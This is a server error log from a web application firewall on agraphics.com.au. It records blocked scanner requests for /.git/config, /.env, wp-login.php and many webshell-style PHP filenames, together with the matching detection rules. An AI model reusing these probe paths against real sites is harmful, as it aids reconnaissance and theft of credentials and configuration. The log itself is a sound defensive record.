[Fri Jan 09 05:22:13.157363 2026] [:error] [pid 10431:tid 10456] [client 23.226.132.115:49678] [client 23.226.132.115] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||agraphics.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aWAgBSkUbiVdwQzsJJTGqwAAARY"], referer: https://www.google.com/search?q=aspx
[Fri Jan 09 06:09:34.092176 2026] [:error] [pid 35810:tid 35826] [client 45.148.10.238:54352] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aWArHorJrhH8tOUNM5D9HwAAAAc"]
[Fri Jan 09 06:14:58.232909 2026] [:error] [pid 35811:tid 35851] [client 167.172.231.129:55190] [client 167.172.231.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aWAsYm7lx9V0CvYJJf3GMgAAAEQ"]
[Fri Jan 09 07:42:28.544105 2026] [:error] [pid 35812:tid 35879] [client 45.148.10.238:37638] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aWBA5EAss1qSj44c-n0jygAAAIU"]
[Fri Jan 09 11:27:35.618844 2026] [:error] [pid 30021:tid 30095] [client 104.28.153.17:30093] [client 104.28.153.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aWB1pw_M8aRtsTog5J8wugAAAM4"]
[Fri Jan 09 11:40:21.453067 2026] [autoindex:error] [pid 14872:tid 14874] [client 143.244.141.160:62982] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Jan 10 01:45:20.152679 2026] [:error] [pid 30020:tid 30070] [client 161.118.211.239:56645] [client 161.118.211.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aWE-sMrjc66qOisG6L0DQgAAAJA"]
[Sat Jan 10 02:04:04.027644 2026] [:error] [pid 1366:tid 1374] [client 152.42.135.8:56353] [client 152.42.135.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.135.8, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aWFDFBmasveKu8_ec1XLIwAAAYU"]
[Sat Jan 10 02:04:04.037083 2026] [proxy_fcgi:error] [pid 1366:tid 1374] [client 152.42.135.8:56353] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 03:28:34.200796 2026] [proxy_fcgi:error] [pid 14739:tid 14750] [client 20.27.221.182:36754] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 03:28:34.325967 2026] [proxy_fcgi:error] [pid 14739:tid 14765] [client 20.27.221.182:36754] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 03:28:34.459431 2026] [proxy_fcgi:error] [pid 14739:tid 14747] [client 20.27.221.182:36754] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 03:28:34.590043 2026] [proxy_fcgi:error] [pid 14739:tid 14764] [client 20.27.221.182:36754] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 03:28:34.713383 2026] [proxy_fcgi:error] [pid 14739:tid 14761] [client 20.27.221.182:36754] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 03:28:34.841964 2026] [proxy_fcgi:error] [pid 14739:tid 14752] [client 20.27.221.182:36754] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 03:28:34.984251 2026] [proxy_fcgi:error] [pid 14739:tid 14753] [client 20.27.221.182:36754] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 03:28:35.107617 2026] [proxy_fcgi:error] [pid 14739:tid 14749] [client 20.27.221.182:36754] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 03:28:35.232470 2026] [proxy_fcgi:error] [pid 14739:tid 14754] [client 20.27.221.182:36754] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 03:28:35.529044 2026] [proxy_fcgi:error] [pid 14739:tid 14759] [client 20.27.221.182:36754] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 03:28:35.650027 2026] [:error] [pid 14739:tid 14756] [client 20.27.221.182:36754] [client 20.27.221.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assacc.php"] [unique_id "aWFW4163M6_PkLt_IJKd7gAAAc8"]
[Sat Jan 10 03:28:36.927436 2026] [:error] [pid 30021:tid 30104] [client 20.27.221.182:36789] [client 20.27.221.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assacc.php"] [unique_id "aWFW5A_M8aRtsTog5J_kFgAAANc"]
[Sat Jan 10 03:28:38.026291 2026] [:error] [pid 14770:tid 14784] [client 20.27.221.182:28173] [client 20.27.221.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assacc.php"] [unique_id "aWFW5h5QbaVZ-6newJZ1pwAAAgw"]
[Sat Jan 10 03:28:39.397001 2026] [:error] [pid 30021:tid 30103] [client 20.27.221.182:33044] [client 20.27.221.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assacc.php"] [unique_id "aWFW5w_M8aRtsTog5J_kGgAAANY"]
[Sat Jan 10 03:28:40.038200 2026] [:error] [pid 1366:tid 1393] [client 20.27.221.182:36745] [client 20.27.221.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/6y7t.php"] [unique_id "aWFW6BmasveKu8_ec1XdhQAAAZg"]
[Sat Jan 10 03:28:40.419789 2026] [:error] [pid 14770:tid 14785] [client 20.27.221.182:28396] [client 20.27.221.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/6y7t.php"] [unique_id "aWFW6B5QbaVZ-6newJZ1qAAAAg0"]
[Sat Jan 10 03:28:40.901954 2026] [:error] [pid 14831:tid 14839] [client 20.27.221.182:33046] [client 20.27.221.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/6y7t.php"] [unique_id "aWFW6PaKOMCmJcAyBm1yggAAAoY"]
[Sat Jan 10 03:28:41.866797 2026] [:error] [pid 14872:tid 14892] [client 20.27.221.182:36766] [client 20.27.221.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/6y7t.php"] [unique_id "aWFW6aIUELhgYLNp1sZ2iwAAAtI"]
[Sat Jan 10 03:28:44.142707 2026] [:error] [pid 1366:tid 1375] [client 20.27.221.182:36776] [client 20.27.221.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/monso.php"] [unique_id "aWFW7BmasveKu8_ec1XdhwAAAYY"]
[Sat Jan 10 03:28:44.663841 2026] [:error] [pid 30021:tid 30089] [client 20.27.221.182:33061] [client 20.27.221.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/monso.php"] [unique_id "aWFW7A_M8aRtsTog5J_kGwAAAMg"]
[Sat Jan 10 03:28:45.965421 2026] [:error] [pid 14872:tid 14893] [client 20.27.221.182:28189] [client 20.27.221.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/monso.php"] [unique_id "aWFW7aIUELhgYLNp1sZ2jQAAAtM"]
[Sat Jan 10 03:28:47.878080 2026] [:error] [pid 14770:tid 14783] [client 20.27.221.182:33065] [client 20.27.221.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/monso.php"] [unique_id "aWFW7x5QbaVZ-6newJZ1qwAAAgs"]
[Sat Jan 10 03:28:51.879472 2026] [:error] [pid 14739:tid 14764] [client 20.27.221.182:28410] [client 20.27.221.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnnof6.php"] [unique_id "aWFW8163M6_PkLt_IJKd9AAAAdc"]
[Sat Jan 10 03:28:52.826991 2026] [:error] [pid 14831:tid 14854] [client 20.27.221.182:33154] [client 20.27.221.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnnof6.php"] [unique_id "aWFW9PaKOMCmJcAyBm1ykwAAApU"]
[Sat Jan 10 03:28:53.701992 2026] [:error] [pid 30021:tid 30096] [client 20.27.221.182:28187] [client 20.27.221.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnnof6.php"] [unique_id "aWFW9Q_M8aRtsTog5J_kHQAAAM8"]
[Sat Jan 10 03:28:54.234645 2026] [:error] [pid 1366:tid 1374] [client 20.27.221.182:31998] [client 20.27.221.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnnof6.php"] [unique_id "aWFW9hmasveKu8_ec1XdjgAAAYU"]
[Sat Jan 10 03:28:54.711995 2026] [:error] [pid 14872:tid 14897] [client 20.27.221.182:28180] [client 20.27.221.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/str.php"] [unique_id "aWFW9qIUELhgYLNp1sZ2jwAAAtc"]
[Sat Jan 10 03:28:55.052033 2026] [:error] [pid 14872:tid 14879] [client 20.27.221.182:28185] [client 20.27.221.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/str.php"] [unique_id "aWFW96IUELhgYLNp1sZ2kAAAAsU"]
[Sat Jan 10 03:28:55.973078 2026] [:error] [pid 14872:tid 14874] [client 20.27.221.182:28374] [client 20.27.221.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/str.php"] [unique_id "aWFW96IUELhgYLNp1sZ2kQAAAsA"]
[Sat Jan 10 03:28:57.422700 2026] [:error] [pid 30019:tid 30024] [client 20.27.221.182:28365] [client 20.27.221.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/str.php"] [unique_id "aWFW-Uz3igHGwX5f7IoxAwAAAAA"]
[Sat Jan 10 04:49:04.605450 2026] [proxy_fcgi:error] [pid 20744:tid 20762] [client 65.52.163.14:2058] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:49:04.730693 2026] [proxy_fcgi:error] [pid 20744:tid 20768] [client 65.52.163.14:2058] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:49:04.974465 2026] [proxy_fcgi:error] [pid 20744:tid 20770] [client 65.52.163.14:2058] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:49:05.095395 2026] [proxy_fcgi:error] [pid 20744:tid 20780] [client 65.52.163.14:2058] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:49:05.217633 2026] [proxy_fcgi:error] [pid 20744:tid 20759] [client 65.52.163.14:2058] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:49:05.440086 2026] [proxy_fcgi:error] [pid 20744:tid 20757] [client 65.52.163.14:2058] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:49:05.561835 2026] [proxy_fcgi:error] [pid 20744:tid 20760] [client 65.52.163.14:2058] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:49:05.829048 2026] [proxy_fcgi:error] [pid 20744:tid 20773] [client 65.52.163.14:2058] AH01071: Got error 'Primary script unknown'
[Sat Jan 10 04:49:05.946286 2026] [:error] [pid 20744:tid 20769] [client 65.52.163.14:2058] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx1.php"] [unique_id "aWFpwUA8oR5jvkFpcP9R7gAAAMw"]
[Sat Jan 10 04:49:06.202719 2026] [:error] [pid 20647:tid 20705] [client 65.52.163.14:2054] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx1.php"] [unique_id "aWFpwqvb0x69MarUHzCWzAAAAFc"]
[Sat Jan 10 04:49:06.564632 2026] [:error] [pid 20648:tid 20720] [client 65.52.163.14:2051] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx1.php"] [unique_id "aWFpwjBnnIoBkEBdx9D1bAAAAIs"]
[Sat Jan 10 04:49:06.879752 2026] [:error] [pid 20744:tid 20765] [client 65.52.163.14:2167] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx1.php"] [unique_id "aWFpwkA8oR5jvkFpcP9R8AAAAMg"]
[Sat Jan 10 04:49:07.196519 2026] [:error] [pid 20646:tid 20656] [client 65.52.163.14:2116] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xv.php"] [unique_id "aWFpwyKwdq_UhOM64b6dNQAAAAE"]
[Sat Jan 10 04:49:07.478013 2026] [:error] [pid 20648:tid 20723] [client 65.52.163.14:2135] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xv.php"] [unique_id "aWFpwzBnnIoBkEBdx9D1bwAAAI4"]
[Sat Jan 10 04:49:07.720200 2026] [:error] [pid 20647:tid 20688] [client 65.52.163.14:2050] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xv.php"] [unique_id "aWFpw6vb0x69MarUHzCWzQAAAEY"]
[Sat Jan 10 04:49:07.995527 2026] [:error] [pid 20648:tid 20732] [client 65.52.163.14:2170] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xv.php"] [unique_id "aWFpwzBnnIoBkEBdx9D1cAAAAJc"]
[Sat Jan 10 04:49:08.377485 2026] [:error] [pid 20648:tid 20709] [client 65.52.163.14:2137] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x56.php"] [unique_id "aWFpxDBnnIoBkEBdx9D1cQAAAIA"]
[Sat Jan 10 04:49:08.735241 2026] [:error] [pid 20647:tid 20692] [client 65.52.163.14:2148] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x56.php"] [unique_id "aWFpxKvb0x69MarUHzCWzgAAAEo"]
[Sat Jan 10 04:49:08.969514 2026] [:error] [pid 20744:tid 20775] [client 65.52.163.14:2130] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x56.php"] [unique_id "aWFpxEA8oR5jvkFpcP9R9AAAANI"]
[Sat Jan 10 04:49:09.203514 2026] [:error] [pid 20744:tid 20763] [client 65.52.163.14:2115] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x56.php"] [unique_id "aWFpxUA8oR5jvkFpcP9R9wAAAMY"]
[Sat Jan 10 04:49:09.484023 2026] [:error] [pid 20648:tid 20718] [client 65.52.163.14:2061] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aWFpxTBnnIoBkEBdx9D1cgAAAIk"]
[Sat Jan 10 04:49:09.850866 2026] [:error] [pid 20646:tid 20668] [client 65.52.163.14:2070] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aWFpxSKwdq_UhOM64b6dNgAAAA0"]
[Sat Jan 10 04:49:10.348499 2026] [:error] [pid 20646:tid 20662] [client 65.52.163.14:2128] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aWFpxiKwdq_UhOM64b6dOAAAAAc"]
[Sat Jan 10 04:49:10.676696 2026] [:error] [pid 20646:tid 20671] [client 65.52.163.14:2173] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aWFpxiKwdq_UhOM64b6dOgAAABA"]
[Sat Jan 10 04:49:11.048631 2026] [:error] [pid 20647:tid 20685] [client 65.52.163.14:2172] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aWFpx6vb0x69MarUHzCW0AAAAEM"]
[Sat Jan 10 04:49:11.325179 2026] [:error] [pid 20744:tid 20780] [client 65.52.163.14:2078] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aWFpx0A8oR5jvkFpcP9R-gAAANc"]
[Sat Jan 10 04:49:11.597627 2026] [:error] [pid 20646:tid 20674] [client 65.52.163.14:2056] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aWFpxyKwdq_UhOM64b6dPgAAABM"]
[Sat Jan 10 04:49:11.990154 2026] [:error] [pid 20744:tid 20759] [client 65.52.163.14:2151] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aWFpx0A8oR5jvkFpcP9R-wAAAMI"]
[Sat Jan 10 04:49:12.412130 2026] [:error] [pid 20646:tid 20670] [client 65.52.163.14:2082] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x50.php"] [unique_id "aWFpyCKwdq_UhOM64b6dQAAAAA8"]
[Sat Jan 10 04:49:13.023238 2026] [:error] [pid 20646:tid 20666] [client 65.52.163.14:2066] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x50.php"] [unique_id "aWFpySKwdq_UhOM64b6dQQAAAAs"]
